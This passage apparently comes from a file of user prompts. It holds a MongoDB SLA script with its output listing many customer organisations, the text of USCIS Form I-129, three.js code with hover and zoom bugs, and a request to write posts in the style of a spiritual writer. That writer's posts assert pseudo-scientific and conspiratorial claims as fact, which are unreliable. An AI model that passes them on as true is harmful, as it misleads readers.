the future it give me the complete understanding of the situation' +'I have a JS script that outputs human readable statistics about the health of some orgs:\n\n var resellers = db.reseller.aggregate([\n { $match : {$or : [\n { $and : [ {"trialRecord" : {$exists : false}}, {"approved" : true} ] },\n { $and : [ {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"converted"}, {"approved" : true} ] },\n { $and : [\n {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"active"}, {"approved" : true},\n { $or : [ {$and : [{"trialRecord.expirationDate" : {$exists : true}}, {"trialRecord.expirationDate" : {$gte : (new ISODate())}}]}, {"trialRecord.expirationDate" : {$exists : false} }] }\n ]}\n\n ]}},\n {\n $group: { \\_id: "$\\_id"}\n }\n ]).map(function(r) { return r.\\_id; });\nvar activeOrgs = db.organization.aggregate([\n { $match : {$or : [\n { $and : [ {"reseller" : {$exists : false}}] },\n { $and :[{ "reseller.$id" : {$in : resellers} } ]}\n ]}},\n {$match : { "providers.0" : {$exists : true}}},\n {\n $addFields: {\n totalActiveProviders:\n {\n $size: { $filter: {\n input : "$providers",\n as: "p",\n cond : { $and :[ {$eq : ["$$p.disabled", false ]}, {$eq : ["$$p.inTrial", false]}, {$eq : ["$$p.approved", true]} ]} } }\n\n }\n }\n },\n { $match : { "totalActiveProviders" : { $gte : 1} } },\n { $group: { \\_id: "$\\_id"} }\n ]).map(function(r) { return r.\\_id; });\nvar orgContainers = db.container2.aggregate([\n {$match : {$and: [\n {"organizationId": { $in :activeOrgs}},\n {"selected": true},\n {"connectorEnabled": true},\n {"providerEnabled": true},\n {"status" : "ACTIVE"},\n {"initialScanDone" : true},\n {"lastScanCompleted" : {$exists: true}},\n {"containerId.connectorId": {$in: ["gsites","gcontacts","gcalendar","gmail","gdrive","gshareddrives","office365contacts","office365mail","office365calendar","office365sharepoint20","office365onedrive20","office365archive"]}}\n ]}\n },\n {$match : {$or: [\n {"slaMet" : { $not: {$eq: true}}},\n {"lastScanCompleted" : { $not: {$gte: (new Date().getTime() - 1000 \\* 3600 \\* 24)}}},\n ]}\n },\n {$group: {\\_id: "$organizationId", total: {$sum: 1} }\n },\n { $sort: { total:-1}}\n]);\n\nvar sum = 0;\norgContainers.forEach(function(doc) {\n print(doc.\\_id + " " + doc.total);\n sum= sum + doc.total;\n});\nprint("TOTAL SLA FAILED: " + sum); \n\nit outputs stuff like\n\nMongoDB shell version v4.4.12\nconnecting to: mongodb://127.0.0.1:27017/cloudfinder?compressors=disabled&gssapiServiceName=mongodb\nImplicit session: session { "id" : UUID("2bef6f94-4c05-4284-9e27-9e04d67305ec") }\nMongoDB server version: 4.4.12\nintapp 10042\nadtechsystems 7956\nqubiqa 2861\nklarna 343\nsandlandpackaging 71\npmtank 53\npeabodyarnold 38\nnoterman 23\nmbkemp 17\nnanomagic 16\nbygg 14\nnfrnet 14\nbaptisthealthsysteminc 12\nnutritech 11\nnishna 10\nthelawofficesofdanielkim 10\nitformule 9\nmkmdistributionservices 9\nmillerzeiderman 9\nsmithandbrink 8\nhaleyolsonpc 8\nitconsecltd 8\nmiraclefeet 8\nlchvandendriestrb 8\nculinaryschooloffortworth 7\nadvisornetfreedomfinancial 7\njnbafinancialadvisors 7\nstjosephtheworker 7\ndsflooring 7\nsujajuice 7\neykt 7\npalatineruralfiredepartment 7\ntimemanagementsystems 7\nassetbasedlending 6\ndioceseofmonterey 6\npcc 6\nsoknlogmannsstofaehf 6\nmontereybaycommunitypower 6\nalares.es 6\npri 6\nfringebenefit 6\nperformanceconnectivityinc 6\nspecialistconservatoryroofsystems 6\nfostar 6\nncchild 5\ndpp 5\navalonenterprise.com 5\ncuraterrae 5\nnorthweldcountywaterdistrict 5\ngreatersiouxfallschamber 5\numhs 5\ntrianglewarehouse 5\nhvankeppel 5\nwesternleisureservices 4\npipepiling 4\nremaxintegrity 4\nredrockpartnership 4\nalexprod 4\nymcalcan 4\nagingcareadvocates 4\nmontereysalinastransit 4\nparticipantmedia 4\nyouthbuild 3\ncadigal 3\nhovlandrasmus 3\ndyminsteelwest 3\niib 3\nbriarwoodpresbyterianchurch 3\ncapitalletters 3\ncrabelcapitalmanagement 3\nnovocustomltdnfr 3\nppoconnorltd 3\nhirstapplegate 3\npropercontent 3\ncompletestructural 3\nbigsurlandtrust 3\nneurologiceurope 3\nakkonsultcom 3\ndesmondahern 3\nnotredamehighschool 3\nsabrestrategies 3\nflagzonellc 3\nlynchcarpenterllp 3\nscullytwiss 3\nbulleyscharteredsurveyors 3\nmckenzies 3\nefolder 3\nonepennsylvania 3\nnorthrockpartners 3\nweisgroup 3\nleacockpaving 3\nalignjv 3\nmg2group 3\nspecialtours 2\nmmh 2\nrecyclingsolutions 2\nmissionfirst 2\ninclinemanagementlp 2\nnjscreenprints 2\nprattfeedersks 2\ndjassociates 2\nnuura 2\nitcosolutions 2\nhannahs 2\nsupermesafuelmercllc 2\nnordoffrobbins 2\npattersonlawfirm 2\nmilesbetterheatinglimited 2\ninvisikcorporation 2\nrotthegewassermann 2\nbostonmeridian 2\nmeshedtechnology 2\nhandpickedhotels 2\ncommunityfoundationofnortherncolorado 2\nurbanhomeworks 2\nsatterleypropertygroup 2\nconnectingpoint119598 2\nbtmegroup 2\naccidentrepairmanagementarm 2\ndaviddrewtransportation 2\nhardwickandsons 2\nestesvalleyfireprotectiondistrict 2\nwiandlaw 2\ntritoncomm 2\nipgl 2\nhartness 1\ncytrellis 1\nsouthernnewenglandcovnerenceucc 1\nminerals260 1\nbitsmartitinternal 1\ncityofpetaluma 1\nturnerservices 1\nstratiis 1\nfranciscoandassociates 1\nleveywagleyputmaneccherpa 1\nwinchestermotorgroup 1\ndsgp 1\nthetnsgroup 1\npactone 1\ngreenacrerecycling 1\nfirselross 1\nfisherbrothersexteriors 1\nvertechitservices 1\nintivix 1\nxitechnologiesinc 1\nthomaslavininc 1\nmetalsolutions 1\nhighpoint 1\nptservicesgroupinc 1\nperfectstaysltd 1\nbosmachine 1\ncroudacedietrichpc 1\nelecsisltd 1\njmg 1\nmodini 1\neurocepthomecare 1\nstaffmore 1\nzuken 1\npinsonvalleyheattreating 1\nairatlanta984313 1\nlerospointtopoint 1\ncoopgrain 1\nbfa 1\nliontown 1\nadvisornetalignedwealthplanning 1\ngreengageagritechltd 1\nmetalsx 1\nsightcenter 1\nthomson 1\nmechanicalsystems 1\neos 1\nsecufogo 1\nnewlifebible 1\namericanbanktrust 1\nunitedwayofweldcounty 1\nfloorcleaningmachines 1\naquilatruckcentre 1\nlaramiepeakmotors 1\nanthonyandpartners 1\necssynergysa 1\nkaupthing 1\nwarrenpartners 1\nmagicbreakfast 1\nwestteksolutionsltdnfr 1\njohnrwhite 1\nmmachelassociatesltd 1\nadvisornetderuyterbell 1\nbarwonneurology 1\ncarmelvalleymanor 1\nnppc 1\nbritanniabureau 1\nbrowninsurance 1\nhahnfeld 1\nzenorkuehnerplc 1\ntheinstituteforstatecraft 1\neurov 1\ninstallamerica 1\nfirstbank 1\nsoundfinancialmanagement 1\nnewhorizonyouthcentre 1\norigohf 1\nepiscopaldioceseofalabama 1\nmanchesterfluid 1\namericanantiquariansociety 1\napi 1\nsurelinecommunicationsltdnfr 1\nredwoodcomsg 1\nsyscoenvironmental 1\nhooten 1\nszyofficetest 1\naivafertiliser 1\noatc 1\npinnacleengineering 1\njfgroup 1\napeironpartners 1\nbtpnfr 1\nmultiorg 1\nkbselectrical 1\nmooreinsight 1\nagritrails 1\ngreenhousefunds 1\nriccolo 1\nsalem 1\nwhitebirdcliniconmicrosoft 1\nbeautifulsavior 1\ncalhackeman 1\nfallstekhoylaw 1\nbpc 1\ngalante 1\nfuseboxone 1\ntecsec 1\nappsdemo 1\ntikvahfund 1\ntellingrainscreens 1\nelderconstruction 1\npokyfeeders 1\nthecoloradogroup 1\nsolidariteit 1\nbrixandco 1\nsagittariusip 1\nquestemployment 1\naltreedevelopments 1\n2mautomation 1\ncommunityfoundation 1\nkeytexenergyllc 1\nleapmanagedit 1\ncoudfinder 1\neberlysystems 1\nstansinc 1\nomscoltd 1\nbarrassoexcavation 1\ngreenbeetech 1\nshowplacewoodproducts 1\noutofhomemedia 1\ninvestdetroit 1\nlogicwingcom 1\nempirehomewares 1\ngrefesidney 1\nlegrossolicitors 1\ndiraymediainc 1\nbluestem 1\ninterpetltd 1\nmindroom 1\nmvegroup 1\nredriverchildrensadvocacycenter 1\nbeacheslogistics 1\nTOTAL SLA FAILED: 22066\nbye\n\nI want to turn this into a lightweight prometheus exporter that provides those same statistics for prometheus to scrape' +'Ok, now, I am showing you the form looks like:\n\nr\nUSCIS\nUse\nOnly\nPetition for a Nonimmigrant Worker\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nClassification Approved\nConsulate/POE/PFI Notified\nExtension Granted\nCOS/Extension Granted\nReceipt Partial Approval (explain) Action Block\nClass:\nNo. of Workers:\nJob Code:\nValidity Dates:\nFrom:\nTo:\nAt:\nLegal Name of Individual Petitioner\nIf you are an individual filing this petition, complete Item Number 1. If you are a company or an organization filing this petition,\ncomplete Item Number 2.\nFamily Name (Last Name) Given Name (First Name) Middle Name\n1.\n4. Contact Information\nPart 1. Petitioner Information\n► START HERE - Type or print in black ink.\n2. Company or Organization Name\n3. Mailing Address of Individual, Company or Organization\nCity or Town State ZIP Code\nIn Care Of Name\nStreet Number and Name Apt. Ste. Flr. Number\nDaytime Telephone Number\nU.S. Social Security Number (if any)\nEmail Address (if any)\nIndividual IRS Tax Number\nMobile Telephone Number\nFederal Employer Identification Number (FEIN)\n5. Other Information\n► ►\nProvince Postal Code Country\n►\n(USPS ZIP Code Lookup)\n Page 1 of 36\nForm I-129 Edition 11/02/22\nPart 2. Information About This Petition (See instructions for fee information)\n1. Requested Nonimmigrant Classification (Write classification symbol):\n2. Basis for Classification (select only one box):\nNew employment.\nNew concurrent employment.\nChange of employer.\nAmended petition.\nChange in previously approved employment.\nContinuation of previously approved employment without change with the same employer.\n3. Provide the most recent petition/application receipt number for the\nbeneficiary. If none exists, indicate "None."\nNotify the office in Part 4. so each beneficiary can obtain a visa or be admitted. (NOTE: A petition is not required for\nE-1, E-2, E-3, H-1B1 Chile/Singapore, or TN visa beneficiaries.)\nChange the status and extend the stay of each beneficiary because the beneficiary(ies) is/are now in the United States in\nanother status (see instructions for limitations). This is available only when you check "New Employment" in Item\nNumber 2., above.\nExtend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\nAmend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\n4. Requested Action (select only one box):\nExtend the status of a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement\nto Form I-129 for TN and H-1B1.)\nChange status to a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement to\nForm I-129 for TN and H-1B1.)\n5. Total number of workers included in this petition. (See instructions relating to\nwhen more than one worker can be included.)\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.)\n1. If an Entertainment Group, Provide the Group Name\n2. Provide Name of Beneficiary\nFamily Name (Last Name) Given Name (First Name) Middle Name\nFamily Name (Last Name) Given Name (First Name) Middle Name\n3. Provide all other names the beneficiary has used. Include nicknames, aliases, maiden name, and names from all previous marriages.\n4. Other Information\nDate of birth (mm/dd/yyyy) Gender\nMale Female\nU.S. Social Security Number (if any)\n►\n►\n►\na.\nb.\nc.\nd.\ne.\nf.\na.\nb.\nc.\nd.\ne.\nf.\n Page 2 of 36\nForm I-129 Edition 11/02/22\nDate Passport or Travel Document\nExpires (mm/dd/yyyy)\nCountry of Citizenship or Nationality\n6. Current Residential U.S. Address (if applicable) (do not list a P.O. Box)\nEmployment Authorization Document (EAD)\nNumber (if any)\nStudent and Exchange Visitor Information System (SEVIS) Number (if\nany)\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\nCurrent Nonimmigrant Status Date Status Expires or D/S (mm/dd/yyyy)\nPassport or Travel Document Country of\nIssuance\nDate Passport or Travel Document\nIssued (mm/dd/yyyy)\n5. If the beneficiary is in the United States, complete the following:\nCountry of Birth\nI-94 Arrival-Departure Record Number\n►\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.) (continued)\nDate of Last Arrival (mm/dd/yyyy) Passport or Travel Document Number\nPart 4. Processing Information\n1. If a beneficiary or beneficiaries named in Part 3. is/are outside the United States, or a requested extension of stay or change of\nstatus cannot be granted, state the U.S. Consulate or inspection facility you want notified if this petition is approved.\na. Type of Office (select only one box):\nb. Office Address (City) c. U.S. State or Foreign Country\nConsulate Pre-flight inspection Port of Entry\nd. Beneficiary\'s Foreign Address\nCity or Town\nStreet Number and Name Apt.Ste. Flr. Number\nAlien Registration Number (A-Number)\nAProvince of Birth\n►\n2. Does each person in this petition have a valid passport?\nState\nPostal Code Country\nYes No. If no, go to Part 9. and type or print your\nexplanation.\nProvince\n Page 3 of 36\nForm I-129 Edition 11/02/22\nPart 4. Processing Information (continued)\n5. Are you filing any applications for dependents with this petition?\nYes. If yes, proceed to Part 9. and list the beneficiary\'s(ies) name(s).\nYes. If yes, how many? ►\nYes. If yes, answer the questions below. No. If no, proceed to Item Number 9.\n4. Are you filing any applications for replacement/initial I-94, Arrival-Departure Records with this petition? Note that if the\nbeneficiary was issued an electronic Form I-94 by CBP when he/she was admitted to the United States at an air or sea port, he/\nshe may be able to obtain the Form I-94 from the CBP Website at www.cbp.gov/i94 instead of filing an application for a\nreplacement/initial I-94.\n9. Have you ever previously filed a nonimmigrant petition for this beneficiary?\n7. Have you ever filed an immigrant petition for any beneficiary in this petition?\n6. Is any beneficiary in this petition in removal proceedings?\n8. Did you indicate you were filing a new petition in Part 2.?\na. Has any beneficiary in this petition ever been given the classification you are now requesting within the last seven years?\nb. Has any beneficiary in this petition ever been denied the classification you are now requesting within the last seven years?\n10. If you are filing for an entertainment group, has any beneficiary in this petition not been with the group for at least one year?\n11.b. If you checked yes in Item Number 11.a., provide the dates the beneficiary maintained status as a J-1 exchange visitor or J-2\ndependent. Also, provide evidence of this status by attaching a copy of either a DS-2019, Certificate of Eligibility for Exchange\nVisitor (J-1) Status, a Form IAP-66, or a copy of the passport that includes the J visa stamp.\n11.a. Has any beneficiary in this petition ever been a J-1 exchange visitor or J-2 dependent of a J-1 exchange visitor?\nPart 5. Basic Information About the Proposed Employment and Employer\n1. Job Title 2. LCA or ETA Case Number\n►\n►\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nYes. If yes, how many?\nYes. If yes, how many?\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Item Number 11.b.\nAttach the Form I-129 supplement relevant to the classification of the worker(s) you are requesting.\n3. Are you filing any other petitions with this one?\nYes. If yes, how many? ► No\n Page 4 of 36\nForm I-129 Edition 11/02/22\nPart 5. Basic Information About the Proposed Employment and Employer (continued)\n4. Did you include an itinerary with the petition?\n5. Will the beneficiary(ies) work for you off-site at another company or organization\'s location?\n12. Type of Business 13. Year Established\n14. Current Number of Employees in the United States 15. Gross Annual Income 16. Net Annual Income\n10. Other Compensation (Explain)\n11. Dates of intended employment From: To:\n7. Is this a full-time position?\n6. Will the beneficiary(ies) work exclusively in the Commonwealth of the Northern Mariana Islands (CNMI)?\n8. If the answer to Item Number 7. is no, how many hours per week for the position? ►\n►\n(mm/dd/yyyy) (mm/dd/yyyy)\nNo\nYes\nNo\nYes No\nYes\nNo\nYes\n9. Wages: $ per (Specify hour, week, month, or year)\n3. Address where the beneficiary(ies) will work if different from address in Part 1.\nStreet Number and Name Apt. Ste. Flr. Number\nCity or Town State ZIP Code\n Page 5 of 36' +'"The liberation of the divine feminine and divine masculine is in full swing. \n\nThe unseen collective shadows of oppression are coming to light. It now makes more sense why we are witnessing bizarre waves of old religious and cultural oppression of the feminine sweeping through the collective. To us in countries where women have had a lot of freedom, this freak show with misogynistic, dominant male is shocking and brings outrage. For our sisters living under oppression in other countries and covert polygamy cults, freedom is long forgotten. \nAll this misogynistic mess that’s surfacing right now trying to be powerful is nothing but a dying shadow. It all is brought up for global healing, it is brought to countries where women are free so we can feel it all for all our sisters who do not have precious freedom and evoke the strength of God through our very being. This then echoes to women everywhere. Strong women = strong men. Some of us are also releasing ancient terror recorded in our bodies so that those memories are released from the inner library. Whatever “women must submit to men” weirdness was brought into our collective is for us to clear and get stronger, more precise and discerning than ever. If someone can do it, it is us. Whatever the weirdos dream to accomplish will not be allowed. Love is more powerful than conniving predatory mess. \n\nWE ARE THE POWER OF TRUE LOVE ~ Zarina\n\n…..\n\nThe past three days have been building up to the terror I experienced this morning. My feminine was in fear. Memories of oppression, beatings etc by the predator forces that are showing up right now en mass. I realize all this has to be felt right now and I must be honest with myself about what I feel. When I hear Andrew Tate and his cult members speaking my body remembers beatings by those like them. Beatings into submission and obedience. The women that had connection to source and did not submit to those ways were beaten severely because that consciousness hates the female it cannot control. I woke up this morning with uncontrollable fear and memories of severe punishment for disobedience. I realize that this fear needs to transmute in order for the next level of power to embody. And the level of defensiveness felt in the body cannot even be described in the words. Absolute terror. To see this predator walking around on the planet again trying to indoctrinate the men into that consciousness is absolutely horrifying. \n\nIt is OK to admit that there is fear deep down and ask God for strength and protection from this evil. Women should not act as if we are as physically strong as these monsters because we are not. And this recognition allows us to call upon protection. In order to be fearless we must overcome fear by first recognizing it. And right now the female on this planet is under attack, the predator is here and he is building his entire army. So many girls and women have been in tears from what has been caused by this monster, boys as young as 11 years old start being aggressive with girls in schools while talking like him. \n\nIt is OK to admit that this is triggering. This allows us to evaluate how to defend ourselves and how strong we must become in the presence of this monster. \n\nThe physical violence and control of women is what is being brought up right now. Being faced with a lying predator posing as some kind of protector is challenging. But we grow stronger from this. This also gives us a reason to uphold our right to bare arms. Women need to make it known that we do not feel safe on this planet anymore and make sure that women have the means of protection as per the second am mendme nt. \n\nWomen need to build an organization in response to this and emphasize that we need protection.This is very important ~ Zarina\n\n…..\n\nThe exhaustion has been really intense lately with all of the upgrades we are going through, the buildup to a bifurcation of spirals and the interference with magnetic fields that the other side is doing in retaliation for mother’s return. \n\nI’ve also noticed that the sabotaging of plans has been more intense as these forces are trying to prevent themselves from being abolished through our embodiment of truth.\n\nIt looks like we have to find a way how to neutralize these technologies they are using and the only way is through the power of our heart, this means that we have to strengthen our hearts even more so that we can form stronger plasmic shields around ourselves and our loved ones ~ Zarina\n\n…\n\nThe emergence of the primordial feminine. \n\nShe is a force behind creation and she is setting herself free. She is beyond the force of destruction. She is the dark womb of creation from which all comes and all returns to. As the feminine individuation rages out of her confinement and fights for her essence in chaos of consciousness fragmentation, she summons the natural law to restore the architecture. \n\nUpon the resurrection of the law within her, she becomes the giant living void that dissolves all that is not of truth. All that entered her and left it’s imprints in her will eventually be dissolved as she expands more and more, enveloping artificial creation in her now precise tonal range. \n\nThe distillation of the tonal wavelengths has been an ongoing process through the bouts of chaotic hysteria her wounded, trapped, confined and siphoned essence has moved through in order to arrive at the precise, distilled set of multidimensional tones, blueprints and instruction sets needed to override the artificial life schemes. \n\nHer individuation is in an ongoing process of distilling the force of destruction into precision of calm dissolution ~ Zarina\n\n….\nFemale value and chastity. \n\nThe whole concept of the female needing to be chaste comes from ancient times where females were submitted to give away creative power to the artificial males. Enough with conniving, grotesque lies already. The shaming of female sexuality has always been about controlling it. A woman in her sexual power is a magnetic being capable of creating anything she desires (that went into distortions after the fall because females lost their original consciousness and with it, original essence). Eons ago the reversal happened where female power to create was stolen and given to those who obeyed original religions. This is why the violent rulers had many women … to siphon creative power from them. And the keepers of original female power and essence were hunted down and brutally massacred, oftentimes through unimaginable r a pe and torture to prevent those souls from ever embodying again because embodiment would mean having to revisit those parallel timelines where desecration took place. The original female has been hated with passion because she is capable of dismantling all that is not true and also birthing the pure light of original masculine consciousness in her sacred heart … because he is her consciousness, consciousness of innocent love. Sexual promiscuity is misery regardless if it’s done by males or females. Originally there were pairs of beloveds that were incarnations of the same soul in two bodies. Then we fell into oblivion and became miserable. Now true love returns ~ Zarina\n\n….\n\nLooks like we are going to be stepping deeper into galactic/universal stuff now after undergoing massive foundational integration. My concern is that a lot of people really do not comprehend how deep it can go and a lot of people are not even supposed to get into that level of embodiment in this lifetime. The issue is that the negative egos come in and try to knock people down and call people schizophrenics and whatever else. It’s the human psychosis unfortunately. I’ve been preparing to start a private group but I’ve also been really needing to understand how to protect myself from being accused of running a cult etc. I’ll probably be accused anyways but I would like to minimize the unnecessary noise. The issue with the cult accusations is that when people are not welcome into the group they may start propagating all kinds of nonsense even after trying to harvest energy from the group and bring drama/psychosis into the group. \n\nThis is why I have been holding off on it. I have been learning how to structure the group in the way that everyone is free to come and go, everyone is respectful of each other and follow rules for maintaining harmony in the environment and also to never approach anyone or shame anyone if they decide to leave. The concern is that I do have some rules to be in the group and some psychotic negative egos may have a fit with that. \n\nJust like if I was to host a gathering in my house, there are rules but oftentimes people don’t like that because they want to come and do whatever they want in other people’s spaces because they feel entitled to bring their own world and take over someone else’s space. \n\nThis next stage of our embodiment is going to be deeper and takes a lot of responsibility and discipline. What I’ll be bringing through requires a lot of preparedness and mental and emotional stability. \n\nIt’s full on incsension from here on. We have prepared enough and it is time. The problem is that this is not for majority of humans or even Star Seeds and so there could be harassment from these individuals because they do not agree with what we are choosing and consider themselves to be in authority to control other’s minds, believes, lives and decisions. \n\nThis is why we have to be very careful when we communicate with anyone as to make sure that we make it clear that we are not imposing our opinions onto anyone nor are we recruiting anyone. Those on the incsension path are already on it. \n\nThis solstice is where we get updated on next steps by our interdimensional councils ~ Zarina"\n\nPlease write 7 three sentence social media posts that take some of these ideas further and, importantly, are written in the style of this writer.' +"I'm going to give you my entire code. Something isn't right. The mouse isn't moving to zoom around focus or zooming on the active node. It seems to only zoom ONCE. Also, the animation isn't stoppping when you hover a node. \n\nconst scene = new THREE.Scene();\n\n// Add a light source\nconst light = new THREE.PointLight(0xffffff, 1, 100);\nlight.position.set(0, 0, 20);\nscene.add(light);\n\nconst camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);\nconst renderer = new THREE.WebGLRenderer();\nrenderer.setSize(window.innerWidth, window.innerHeight);\ndocument.body.appendChild(renderer.domElement);\n\nlet nodeCount = 30;\nconst radius = 15;\nconst circleGeometry = new THREE.CircleGeometry(0.5, 32);\nconst lineMaterial = new THREE.LineBasicMaterial({ color: 0xffa500, opacity: 1, transparent: true });\n\nconst nodes = [];\nlet currentNodeIndex = 0;\nlet currentConnectionIndex = 1;\nlet connectionCount = 0;\nlet matchLikelihood = 0;\nfunction initializeNodes() {\n for (let i = 0; i < nodeCount; i++) {\n const circleMaterial = new THREE.MeshBasicMaterial({ color: Math.random() \\* 0xffffff });\n const circle = new THREE.Mesh(circleGeometry, circleMaterial);\n const angle = (i / nodeCount) \\* 2 \\* Math.PI;\n circle.position.set(radius \\* Math.cos(angle), radius \\* Math.sin(angle), 0);\n scene.add(circle);\n nodes.push(circle);\n }\n\n animate();\n}\nlet previousLines = [];\n// Add this function to reduce color saturation\nfunction reduceSaturation(material, amount) {\n const color = material.color;\n const hsl = color.getHSL({ h: 0, s: 0, l: 0 });\n hsl.s -= amount;\n color.setHSL(hsl.h, Math.max(hsl.s, 0), hsl.l);\n}\n\nfunction connectNodes(nodeA, nodeB) {\n if (previousLines.length > 0) {\n // Change the color of all other lines to white\n previousLines.forEach((line, index) => {\n line.material.color.set(0xffffff);\n\n // Reduce the opacity of all previous lines by 5% (except the current line)\n if (index !== previousLines.length - 1) {\n line.material.opacity = Math.max(line.material.opacity \\* 0.95, 0.5);\n }\n });\n\n // Remove the thickness from the previous line\n const lastLine = previousLines[previousLines.length - 1];\n lastLine.material.linewidth = 1;\n\n // Reduce the saturation of the previously completed person\n reduceSaturation(nodeA.material, 0.2);\n }\n\n const points = [nodeA.position, nodeB.position];\n const geometry = new THREE.BufferGeometry().setFromPoints(points);\n\n // Create a copy of the lineMaterial to avoid modifying the original\n const currentLineMaterial = lineMaterial.clone();\n currentLineMaterial.linewidth = 6; // Increase the linewidth of the current connection by 2px\n\n const line = new THREE.Line(geometry, currentLineMaterial);\n scene.add(line);\n\n previousLines.push(line);\n}\n\nconst speedSlider = document.getElementById('speed-slider');\nconst speedLabel = document.getElementById('speed-label');\nlet animationSpeed = 510 - parseInt(speedSlider.value);\n\nspeedSlider.addEventListener('input', (event) => {\n const value = event.target.value;\n speedLabel.textContent = 510 - value;\n animationSpeed = 510 - parseInt(value);\n});\n\nconst confirmButton = document.getElementById('confirm-button');\nconfirmButton.addEventListener('click', () => {\n resetAnimation();\n});\nconst resetButton = document.getElementById('reset-button');\nresetButton.addEventListener('click', () => {\n resetAnimation();\n});\n\nconst peopleInput = document.getElementById('people-input');\npeopleInput.addEventListener('change', () => {\n resetAnimation();\n});\n\nconst loader = new THREE.FontLoader();\nlet font;\n\nloader.load('https://threejs.org/examples/fonts/helvetiker\\_bold.typeface.json', (loadedFont) => {\n font = loadedFont;\n startVisualization();\n});\n\nfunction updateLikelihoodText(likelihood) {\n if (scene.getObjectByName('likelihoodText')) {\n scene.remove(scene.getObjectByName('likelihoodText'));\n }\n\n const text = `Likelihood: ${(likelihood \\* 100).toFixed(2)}% | Connections: ${connectionCount}`;\n const textGeometry = new THREE.TextGeometry(text, {\n font: font,\n size: 2,\n height: 0.1,\n });\n\n const textMaterial = new THREE.MeshBasicMaterial({ color: 0x90ee90 });\n const textMesh = new THREE.Mesh(textGeometry, textMaterial);\n textMesh.name = 'likelihoodText';\n\n textGeometry.computeBoundingBox();\n const textWidth = textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x;\n textMesh.position.set(-textWidth / 2, 0, 0);\n\n scene.add(textMesh);\n}\nlet lastUpdateTime = 0;\n// Add raycaster and mouse vector\nconst raycaster = new THREE.Raycaster();\nconst mouse = new THREE.Vector2();\n\n// Add an event listener for mousemove\nwindow.addEventListener('mousemove', onMouseMove, false);\n\n// Store the index of the currently hovered node\nlet hoveredNodeIndex = null;\n\nfunction onMouseMove(event) {\n // Calculate mouse position in normalized device coordinates (-1 to +1) for both components\n mouse.x = (event.clientX / window.innerWidth) \\* 2 - 1;\n mouse.y = -(event.clientY / window.innerHeight) \\* 2 + 1;\n\n // Update the picking ray with the camera and mouse position\n raycaster.setFromCamera(mouse, camera);\n\n // Calculate objects intersecting the picking ray\n const intersects = raycaster.intersectObjects(nodes);\n\n if (intersects.length > 0) {\n // Get the index of the intersected node\n const intersectedNode = intersects[0].object;\n hoveredNodeIndex = nodes.indexOf(intersectedNode);\n\n // Change the line color to orange for all connections of the hovered node\n for (let i = 0; i < previousLines.length; i++) {\n const line = previousLines[i];\n if (line.geometry.attributes.position.array.includes(intersectedNode.position.x)) {\n line.material.color.set(0xffa500);\n } else {\n line.material.color.set(0xffffff);\n }\n }\n } else {\n // Reset the hovered node index and line colors when no node is hovered\n hoveredNodeIndex = null;\n previousLines.forEach((line) => {\n line.material.color.set(0xffffff);\n });\n }\n}\n\n// Update the animate function to stop the animation when a node is hovered\nfunction animate(time) {\n \n}\n\nfunction animate(time) {\n\n if (currentNodeIndex < nodeCount - 1 && hoveredNodeIndex === null) {\n // ... (the rest of the animate function remains unchanged)\n \n if (time - lastUpdateTime >= animationSpeed) {\n // Reset the size of the active person's circle\n if (currentNodeIndex > 0) {\n nodes[currentNodeIndex - 1].scale.set(1, 1, 1);\n }\n\n if (currentConnectionIndex < nodeCount) {\n // Increase the size of the active person's circle\n nodes[currentNodeIndex].scale.set(5, 5, 1);\n\n connectNodes(nodes[currentNodeIndex], nodes[currentConnectionIndex]);\n connectionCount++;\n\n // Update the likelihood of matching birthdays\n matchLikelihood = 1 - (365 / 365) \\* ((365 - 1) / 365) \\*\\* connectionCount;\n updateLikelihoodText(matchLikelihood);\n\n currentConnectionIndex++;\n } else {\n currentNodeIndex++;\n currentConnectionIndex = currentNodeIndex + 1;\n }\n\n lastUpdateTime = time;\n } \n }\n requestAnimationFrame(animate);\n}\n\n\ninitializeNodes();\n\nfunction resetAnimation() {\n // Remove the light source from the scene\n scene.remove(light);\n\n scene.clear();\n nodes.length = 0;\n currentNodeIndex = 0;\n currentConnectionIndex = 1;\n connectionCount = 0;\n matchLikelihood = 0;\n nodeCount = parseInt(peopleInput.value);\n initializeNodes();\n animate();\n\n // Re-add the light source to the scene\n scene.add(light);\n}\n\nfunction startVisualization() {\n initializeNodes();\n animate();\n}\nconst simplex = new SimplexNoise();\nlet time = 0;\n\ncamera.position.set(0, 0, 25);\n\n// Add a target camera position\nlet targetCameraPosition = new THREE.Vector3(0, 0, 25);\nfunction onMouseMove(event) {\n // ... (the rest of the onMouseMove function remains unchanged)\n\n // Calculate the target camera position based on the mouse position\n const targetCameraOffset = new THREE.Vector3(mouse.x \\* 2.5, mouse.y \\* 2.5, 0);\n targetCameraPosition = new THREE.Vector3(0, 0, 25).add(targetCameraOffset);\n\n // Update the target camera position when a node is hovered\n if (hoveredNodeIndex !== null) {\n const nodeWorldPosition = nodes[hoveredNodeIndex].getWorldPosition(new THREE.Vector3());\n targetCameraPosition.x = nodeWorldPosition.x;\n targetCameraPosition.y = nodeWorldPosition.y;\n targetCameraPosition.z = 20; // Zoom in 20% when hovering a node\n } else {\n targetCameraPosition.z = 22.5; // Zoom in 10% based on mouse position\n }\n}\nfunction render() {\n requestAnimationFrame(render);\n\n // Update the camera position\n time += 0.005;\n const cameraRadius = 25;\n const offsetX = cameraRadius \\* 0.1 \\* 